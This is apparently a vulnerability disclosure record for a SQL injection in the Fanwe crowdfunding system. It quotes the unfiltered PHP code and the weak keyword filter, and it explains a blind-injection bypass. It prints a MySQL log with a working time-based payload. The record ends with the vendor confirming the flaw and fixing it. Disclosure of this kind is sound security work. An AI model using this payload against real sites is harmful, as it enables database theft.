2015-08-17: 细节已通知厂商并且等待厂商处理中 2015-08-18: 厂商已经确认,细节仅向厂商公开 2015-08-21: 细节向第三方安全合作伙伴开放 2015-10-12: 细节向核心白帽子及相关领域专家公开 2015-10-22: 细节向普通白帽子公开 2015-11-01: 细节向实习白帽子公开 2015-11-16: 细节向公众公开
方维众筹系统SQL注入漏洞一
1.首先定位到漏洞文件。app\Lib\modules\accountModule.class.php。
public function get_leader_list(){ if(!$GLOBALS['user_info']) app_redirect(url("user#login")); $deal_id=$_REQUEST['id'];//这里的id没有经过过滤 $deal=$GLOBALS['db']->getRow("select * from ".DB_PREFIX."deal where id=$deal_id and user_id=".$GLOBALS['user_info']['id']); $page_size = ACCOUNT_PAGE_SIZE; $page = intval($_REQUEST['p']); if($page==0) $page = 1; $limit = (($page-1)*$page_size).",".$page_size; $investor_list=$GLOBALS['db']->getAll("select invest.*,u.user_name,u.user_level from ".DB_PREFIX."investment_list as invest left join ".DB_PREFIX."user as u on u.id=invest.user_id where invest.type=1 and invest.deal_id=$deal_id order by invest.id desc limit $limit "); $investor_list_num=$GLOBALS['db']->getOne("select count(*) as num from ".DB_PREFIX."investment_list where type=1 and deal_id=$deal_id order by id desc limit $limit "); $now_time=NOW_TIME; foreach($investor_list as $k=>$v){ if($v['status']==0&&$now_time>$deal['end_time']){ $investor_list[$k]['status']=2; $GLOBALS['db']->query("UPDATE ".DB_PREFIX."investment_list set status=2 where id= ".$v['id']); } $investor_list[$k]['cates']=unserialize($v['cates']); $investor_list[$k]['user_icon'] =$GLOBALS['user_level'][$v['user_level']]['icon'];//用户等级图标 } $page = new Page($investor_list_num,$page_size); //初始化分页对象 $p = $page->show(); $GLOBALS['tmpl']->assign('deal',$deal); $GLOBALS['tmpl']->assign('deal_id',$deal_id); $GLOBALS['tmpl']->assign('pages',$p); $GLOBALS['tmpl']->assign('investor_list',$investor_list); $GLOBALS['tmpl']->display("account_leader_list.html"); }
2.我们可以看出,这里的id没有经过过滤,就传入了下面的sql语句中进行执行,就造成了注入漏洞。但是我们直接构造payload,会触发方维的全局过滤规则。
//过滤注入function filter_injection(&$request){ $pattern = "/(select[\s])|(insert[\s])|(update[\s])|(delete[\s])|(from[\s])|(where[\s])/i"; foreach($request as $k=>$v) { if(preg_match($pattern,$k,$match)) { die("SQL Injection denied!"); } if(is_array($v)) { filter_injection($request[$k]); } else { if(preg_match($pattern,$v,$match)) { die("SQL Injection denied!"); } } } }
3.方维对$request中的$key和$val都进行了过滤,但是过滤的规则却是不完美。我们可以构造payload,如测试代码所示
4.可以看出我们仍然可以通过忙注的形式来获取数据,然后我们来看一下mysql的日志文件。
150814 17:41:50 165 Connect root@localhost on 165 Query SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary 165 Query SET sql_mode='' 165 Init DB zc 165 Query select * from fanwe_user where id = 20 and is_effect = 1 165 Query delete from fanwe_deal_order where order_status = 0 and credit_pay = 0 and 1439516510 - create_time > 259200 165 Query select count(*) from fanwe_deal_notify 165 Query select count(*) from fanwe_user_notify where user_id = 20 and is_read = 0 165 Query select count(*) from fanwe_user_message where user_id = 20 and is_read = 0 165 Query SELECT * FROM fanwe_payment_notice where is_mortgate=1 and is_paid=1 and order_id=0 165 Query select * from fanwe_collocation where is_effect=1 165 Query select * from fanwe_deal where id=if(mid(user(),1,1)='r',sleep(1),0) -- a and user_id=20#这里是漏洞点150814 17:41:56 165 Query select invest.*,u.user_name,u.user_level from fanwe_investment_list as invest left join fanwe_user as u on u.id=invest.user_id where invest.type=1 and invest.deal_id=if(mid(user(),1,1)='r',sleep(1),0) -- a order by invest.id desc limit 0,10 165 Query select count(*) as num from fanwe_investment_list where type=1 and deal_id=if(mid(user(),1,1)='r',sleep(1),0) -- a order by id desc limit 0,10 165 Quit 166 Connect root@localhost on 166 Query SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary 166 Query SET sql_mode='' 166 Init DB zc
OK,好了
过滤·
危害等级:中
漏洞Rank:5
确认时间:2015-08-18 16:20
技术人员,已经在核对处理
2015-08-18:已经修正